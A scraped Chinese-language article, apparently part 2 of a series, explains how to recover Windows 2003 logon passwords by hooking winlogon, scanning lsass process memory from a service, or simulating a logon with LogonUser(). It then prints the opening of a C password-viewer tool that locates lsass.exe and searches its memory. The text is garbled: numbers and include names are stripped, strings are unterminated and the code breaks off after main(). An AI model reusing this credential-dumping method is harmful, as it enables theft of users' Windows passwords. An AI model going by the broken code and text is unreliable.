2024年10月在win 2003中三大方法助你得到登陆密码(2)

发布时间:

  ⑴提高成功率的两种做法:

  ⑵.程序直接写成服务,定时检查本地或远程登陆(其实没什么分别),当检测到登陆后,去搜索lsass进程内存,尝试得到密码。

  ⑶.程序模拟一个登陆(使用LogonUser()就能搞定),因为使用LogonUser()这个API,你要提供帐号名和对应的正确的密码,才可以成功,然后你就可以去搜索lsass进程内存。因为知道密码是什么,我们就能定位到密码是保存在什么地方。因为登陆用户的密码都是保存在同一个地址或相离不远的地址中,模拟登陆和搜索,可以先定位以后登陆的用户的密码会大约保存在什么位置。

  ⑷无论怎说,三种方法中,最稳定,最安全的方法还是使用Gina那种方法.Hijack了winlogn一些API的方法,毕竟是改动了系统的东西,对系统的稳定性来说,会有考验,直接搜索lsass进程内存的方法呢,虽说也是困难,但准确性,成功率却又是低。

  ⑸下面的代码使用的是很笨,而且很原始的搜索方法,主要是搜索Lsass内存中"LocalSystem Remote Procedure"这个字符串,因为在相当多的测试中,密码都是保存在有这个字符串的地址后一点的位置中,当然了,很多系统并没有这个字符串,或者就算有,我们得到的都是错误的密码。

  ⑹代码: //********************************************************************************

  ⑺// Version: V.

  ⑻// Coder: WinEggDrop

  ⑼// Date Release: //

  ⑽// Purpose: To Demonstrate Searching Logon User Password On Box,The Method

  ⑾// Used Is Pretty Unwise,But This May Be The Only Way To Review The

  ⑿// Logon User's Password On windows .

  ⒀// Test PlatForm: windows

  ⒁// piled On: VC++ .

  ⒂//********************************************************************************

  ⒃#include

  ⒄#include

  ⒅#include

  ⒆#define BaseAddress xb // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address,Which Causes The Result Unreliable

  ⒇char Password[MAX_PATH] = ; // Store The Found Password

  ⒈// Function ProtoType Declaration

  ⒉//------------------------------------------------------------------------------------------------------

  ⒊BOOL FindPassword(DWORD PID);

  ⒋int Search(char *Buffer,const UINT nSize);

  ⒌DWORD GetLsassPID();

  ⒍BOOL Is();

  ⒎//------------------------------------------------------------------------------------------------------

  ⒏// End Of Fution ProtoType Declaration

  ⒐int main()

  ⒑DWORD PID = ;

  ⒒printf("windows Password Viewer V. By WinEggDrop

  ⒓if (!Is()) // Check Out If The Box Is

  ⒔printf("The Program Can't Only Run On windows Platform

  ⒕return -;

  ⒖PID = GetLsassPID(); // Get The Lsass.exe PID

  ⒗if (PID == ) // Fail To Get PID If Returning Zerom

  ⒘return -;

  ⒙FindPassword(PID); // Find The Password From Lsass.exe Memory

  ⒚return ;

  ⒛// End main()

  ①//------------------------------------------------------------------------------------